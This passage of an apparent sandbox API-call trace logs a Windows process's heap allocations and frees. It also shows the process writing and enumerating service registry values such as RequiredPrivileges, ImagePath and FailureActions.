(HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c947b0 [0028.252] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94720) returned 1 [0028.252] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94720 [0028.252] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d398 [0028.252] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c947f8 [0028.252] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94720) returned 1 [0028.252] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94720 [0028.252] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94840 [0028.252] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d1f870) returned 1 [0028.252] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d3a8 [0028.253] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94888 [0028.253] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94720) returned 1 [0028.253] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94720 [0028.253] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d3b8 [0028.253] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c948d0 [0028.253] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94720) returned 1 [0028.253] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94720 [0028.253] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d3c8 [0028.253] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94918 [0028.253] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94720) returned 1 [0028.253] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94720 [0028.253] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d3d8 [0028.253] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94960 [0028.253] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94720) returned 1 [0028.253] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94720 [0028.253] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x50) returned 0x1c877f8 [0028.253] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94840) returned 1 [0028.253] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d3e8 [0028.253] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94840 [0028.253] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94720) returned 1 [0028.253] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x50) returned 0x233dd90 [0028.253] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d3f8 [0028.253] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94720 [0028.253] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d408 [0028.253] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c949a8 [0028.253] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d418 [0028.253] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c949f0 [0028.253] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d428 [0028.253] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94a38 [0028.253] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d438 [0028.253] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94a80 [0028.253] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d448 [0028.253] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94ac8 [0028.253] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d458 [0028.254] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94b10 [0028.254] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d468 [0028.254] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94b58 [0028.254] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d478 [0028.254] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94ba0 [0028.254] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d488 [0028.254] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94be8 [0028.254] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d498 [0028.254] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94c30 [0028.254] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d4a8 [0028.254] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94c78 [0028.254] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d4b8 [0028.254] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94cc0 [0028.254] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d4c8 [0028.254] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94d08 [0028.254] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d4d8 [0028.254] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94d50 [0028.254] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d4e8 [0028.254] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94d98 [0028.254] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d4f8 [0028.254] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94de0 [0028.254] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0028.254] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d368) returned 1 [0028.254] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94690) returned 1 [0028.254] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d358) returned 1 [0028.254] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94648) returned 1 [0028.254] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d348) returned 1 [0028.254] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94600) returned 1 [0028.254] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d338) returned 1 [0028.254] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c945b8) returned 1 [0028.254] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d328) returned 1 [0028.254] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94570) returned 1 [0028.254] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d318) returned 1 [0028.255] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94528) returned 1 [0028.255] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d308) returned 1 [0028.255] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c944e0) returned 1 [0028.255] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d2f8) returned 1 [0028.255] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94498) returned 1 [0028.255] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d258) returned 1 [0028.255] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.255] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d268) returned 1 [0028.255] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c947b0) returned 1 [0028.255] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d388) returned 1 [0028.255] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c947f8) returned 1 [0028.255] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d398) returned 1 [0028.255] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94888) returned 1 [0028.255] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d3a8) returned 1 [0028.255] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c948d0) returned 1 [0028.255] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d3b8) returned 1 [0028.255] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94918) returned 1 [0028.255] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d3c8) returned 1 [0028.255] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94960) returned 1 [0028.255] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d3d8) returned 1 [0028.255] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94840) returned 1 [0028.255] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d3e8) returned 1 [0028.255] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c877f8) returned 1 [0028.255] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c829e0) returned 1 [0028.255] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x50) returned 0x1c877f8 [0028.255] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d3e8 [0028.255] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94840 [0028.255] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d3d8 [0028.255] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94960 [0028.255] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d3c8 [0028.255] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94918 [0028.255] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d3b8 [0028.255] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c948d0 [0028.255] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d3a8 [0028.255] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94888 [0028.255] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d398 [0028.256] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c947f8 [0028.256] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d388 [0028.256] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c947b0 [0028.256] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d268 [0028.256] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.256] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d258 [0028.256] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94498 [0028.256] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d2f8 [0028.256] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c944e0 [0028.256] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d308 [0028.256] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94528 [0028.256] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d318 [0028.256] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94570 [0028.256] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d328 [0028.256] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c945b8 [0028.256] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d338 [0028.256] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94600 [0028.256] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d348 [0028.256] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94648 [0028.256] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d358 [0028.256] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94690 [0028.256] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d368 [0028.256] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0028.256] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94720) returned 1 [0028.256] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d3f8) returned 1 [0028.256] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c949a8) returned 1 [0028.256] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d408) returned 1 [0028.256] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c949f0) returned 1 [0028.256] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d418) returned 1 [0028.256] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94a38) returned 1 [0028.256] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d428) returned 1 [0028.256] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94a80) returned 1 [0028.256] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d438) returned 1 [0028.256] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94ac8) returned 1 [0028.257] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d448) returned 1 [0028.257] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94b10) returned 1 [0028.257] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d458) returned 1 [0028.257] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94b58) returned 1 [0028.257] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d468) returned 1 [0028.257] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94ba0) returned 1 [0028.257] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d478) returned 1 [0028.257] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94be8) returned 1 [0028.257] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d488) returned 1 [0028.257] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94c30) returned 1 [0028.257] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d498) returned 1 [0028.257] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94c78) returned 1 [0028.257] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d4a8) returned 1 [0028.257] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94cc0) returned 1 [0028.257] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d4b8) returned 1 [0028.257] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94d08) returned 1 [0028.257] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d4c8) returned 1 [0028.257] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94d50) returned 1 [0028.257] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d4d8) returned 1 [0028.257] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94d98) returned 1 [0028.257] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d4e8) returned 1 [0028.257] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94de0) returned 1 [0028.257] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d4f8) returned 1 [0028.257] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233dd90) returned 1 [0028.257] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94de0 [0028.257] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95ea0 [0028.257] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94de0) returned 1 [0028.257] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0xc0) returned 0x1c87310 [0028.257] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95ea0) returned 1 [0028.258] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x100) returned 0x1d1e470 [0028.258] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c87310) returned 1 [0028.258] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x140) returned 0x1c829e0 [0028.258] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d1e470) returned 1 [0028.258] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x180) returned 0x1c82b28 [0028.258] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c829e0) returned 1 [0028.258] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x1c0) returned 0x1d208b8 [0028.258] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c82b28) returned 1 [0028.258] RegSetValueExA (in: hKey=0x15c, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x1d208b8*, cbData=0x195 | out: lpData=0x1d208b8*) returned 0x0 [0028.259] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d208b8) returned 1 [0028.259] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94de0 [0028.259] RegSetValueExA (in: hKey=0x15c, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x1, lpData="SeCreateGlobalPrivilege", cbData=0x18 | out: lpData="SeCreateGlobalPrivilege") returned 0x0 [0028.259] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94de0) returned 1 [0028.259] RegEnumValueA (in: hKey=0xc8, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.259] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d648 [0028.259] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d4f8 [0028.260] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94de0 [0028.260] RegEnumValueA (in: hKey=0xc8, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.260] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d4e8 [0028.260] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94d98 [0028.260] RegEnumValueA (in: hKey=0xc8, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.260] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d4d8 [0028.260] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94d50 [0028.260] RegEnumValueA (in: hKey=0xc8, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.260] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d4c8 [0028.260] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94d08 [0028.260] RegEnumValueA (in: hKey=0xc8, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.260] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x20) returned 0x233bc08 [0028.260] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d648) returned 1 [0028.260] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d4b8 [0028.260] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94cc0 [0028.260] RegEnumValueA (in: hKey=0xc8, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.260] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d4a8 [0028.260] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94c78 [0028.260] RegEnumValueA (in: hKey=0xc8, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.260] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d498 [0028.260] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94c30 [0028.260] RegEnumValueA (in: hKey=0xc8, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.260] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d488 [0028.260] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94be8 [0028.260] RegEnumValueA (in: hKey=0xc8, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.260] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x30) returned 0x1d1f870 [0028.260] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bc08) returned 1 [0028.261] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d478 [0028.261] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94ba0 [0028.261] RegEnumValueA (in: hKey=0xc8, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.261] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d468 [0028.261] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94b58 [0028.261] RegEnumValueA (in: hKey=0xc8, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.261] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d458 [0028.261] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94b10 [0028.261] RegEnumValueA (in: hKey=0xc8, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0028.261] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94ac8 [0028.261] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94ac8) returned 1 [0028.261] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94ac8 [0028.261] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94ac8) returned 1 [0028.261] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94ac8 [0028.261] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94ac8) returned 1 [0028.261] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94ac8 [0028.261] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94ac8) returned 1 [0028.261] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94ac8 [0028.261] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94de0) returned 1 [0028.261] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d4f8) returned 1 [0028.261] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94d98) returned 1 [0028.261] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d4e8) returned 1 [0028.261] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94d50) returned 1 [0028.261] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d4d8) returned 1 [0028.261] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, 